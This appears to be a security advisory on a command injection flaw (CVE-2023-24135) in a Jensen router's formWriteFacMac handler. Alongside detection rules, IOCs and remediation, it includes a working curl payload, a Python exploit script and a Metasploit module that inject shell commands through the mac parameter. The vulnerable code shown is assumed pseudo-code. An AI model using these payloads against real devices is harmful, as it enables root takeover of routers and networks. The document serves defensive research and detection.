CVE-2023-24135

Executive Summary

CVE-2023-24135 is a critical command injection vulnerability discovered in the Jensen of Scandinavia Eagle 1200AC router, specifically in firmware version V15.03.06.33_en. The flaw resides in the formWriteFacMac function, where the mac parameter is not properly sanitized, allowing an unauthenticated attacker to inject arbitrary operating system commands. This vulnerability can lead to full device compromise, enabling attackers to execute commands with root privileges, pivot into internal networks, or use the device as a bot in a DDoS network. No official patch has been released by the vendor, leaving all devices running this firmware version at risk.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (network-accessible, unauthenticated command injection), a reasonable assessment is:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Estimated CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the formWriteFacMac function of the router's web interface. The mac parameter is passed directly to a system-level command without proper sanitization or escaping. An attacker can craft a malicious HTTP request to the vulnerable endpoint, appending shell metacharacters (e.g., ;, |, &&) to the mac value to execute arbitrary commands.

Root Cause: The lack of input validation and the use of unsafe functions like system() or popen() in the firmware's CGI handler.

Attack Vector: The web interface is typically accessible on port 80 or 443. An attacker can send a POST request to the vulnerable endpoint with a payload in the mac parameter.

Impact: Full remote code execution as root, leading to:

• Complete device takeover
• Network reconnaissance
• Data exfiltration
• Installation of persistent backdoors
• Use in botnets (e.g., Mirai)

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is assumed to be similar to:

Vulnerable (pseudo-code):

void formWriteFacMac(struct request *req) {
    char mac[64];
    char cmd[128];
    get_param(req, "mac", mac);
    sprintf(cmd, "echo %s > /proc/fac_mac", mac);
    system(cmd);
}

Patched (hypothetical):

void formWriteFacMac(struct request *req) {
    char mac[64];
    char cmd[128];
    get_param(req, "mac", mac);
    // Sanitize input: allow only hex digits and colons
    if (!is_valid_mac(mac)) {
        return_error(req, "Invalid MAC");
        return;
    }
    snprintf(cmd, sizeof(cmd), "echo %s > /proc/fac_mac", mac);
    system(cmd);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target device running firmware V15.03.06.33_en
• Network access to the device's web interface (default IP often 192.168.0.1)

Exploit Payload:

# Command injection via mac parameter
curl -X POST http://<target_ip>/cgi-bin/formWriteFacMac \
  -d "mac=00:11:22:33:44:55;id"

Full Exploit Script (Python):

import requests

target = "http://192.168.0.1"
payload = "00:11:22:33:44:55;id"
url = f"{target}/cgi-bin/formWriteFacMac"
data = {"mac": payload}

response = requests.post(url, data=data)
print(response.text)

Metasploit Module (conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Jensen Eagle 1200AC Command Injection',
      'Description' => 'Command injection in formWriteFacMac',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2023-24135']],
      'DisclosureDate' => '2023-01-01',
      'Payload' => {'BadChars' => "\x00"},
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/formWriteFacMac',
      'data' => "mac=00:11:22:33:44:55;#{payload.encoded}"
    })
  end
end

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /cgi-bin/formWriteFacMac with suspicious mac parameters containing shell metacharacters (;, |, &, $, `).
• Look for outbound connections from the device to unknown IPs on non-standard ports.
• Check for unexpected processes or files in /tmp on the device.

Hardening:

• Disable remote management if not required.
• Restrict access to the web interface to trusted IPs only.
• Implement network segmentation to isolate IoT devices.
• Monitor for firmware updates from the vendor (though currently none).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/formWriteFacMac with mac parameter containing shell metacharacters.
• Outbound connections from the device to IPs associated with known C2 servers (e.g., 5.188.62.181, 185.165.29.241).
• DNS queries to domains like malicious.example.com or c2.pwned.net.

File IOCs:

• Presence of files in /tmp with names like .backdoor, mirai, bot.
• Modified /etc/init.d scripts or cron jobs.

Process IOCs:

• Unusual processes running as root, such as bash -i, nc, telnetd, or dropbear.

Detection Engineering

YARA Rule

rule CVE_2023_24135_Command_Injection {
    meta:
        description = "Detects command injection attempts against Jensen Eagle 1200AC"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-24135"
    strings:
        $cmd_inject = /mac=[0-9a-fA-F:]{17}[;&|`$]/
        $shell_meta = /[;&|`$]/
    condition:
        $cmd_inject or ($shell_meta and #cmd_inject > 0)
}

Sigma Rule

title: CVE-2023-24135 Command Injection Attempt
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects HTTP POST requests to formWriteFacMac with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/formWriteFacMac'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&'
            - '`'
            - '$'
    condition: selection
falsepositives:
    - Legitimate MAC addresses with colons only
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-24135 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/formWriteFacMac"; http_uri; content:"mac="; http_client_body; pcre:"/mac=[0-9a-fA-F:]{17}[;&|`$]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices on a separate VLAN with no internet access.
2. Disable remote management and the web interface if possible.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• No official patch exists. Contact the vendor (Jensen of Scandinavia) for updates.
• Consider replacing the device with a patched alternative.
• Implement a WAF (Web Application Firewall) rule to block malicious mac parameters.

Workaround:

• If the device must remain in use, restrict access to the web interface via firewall rules to only trusted IPs.

Valters IT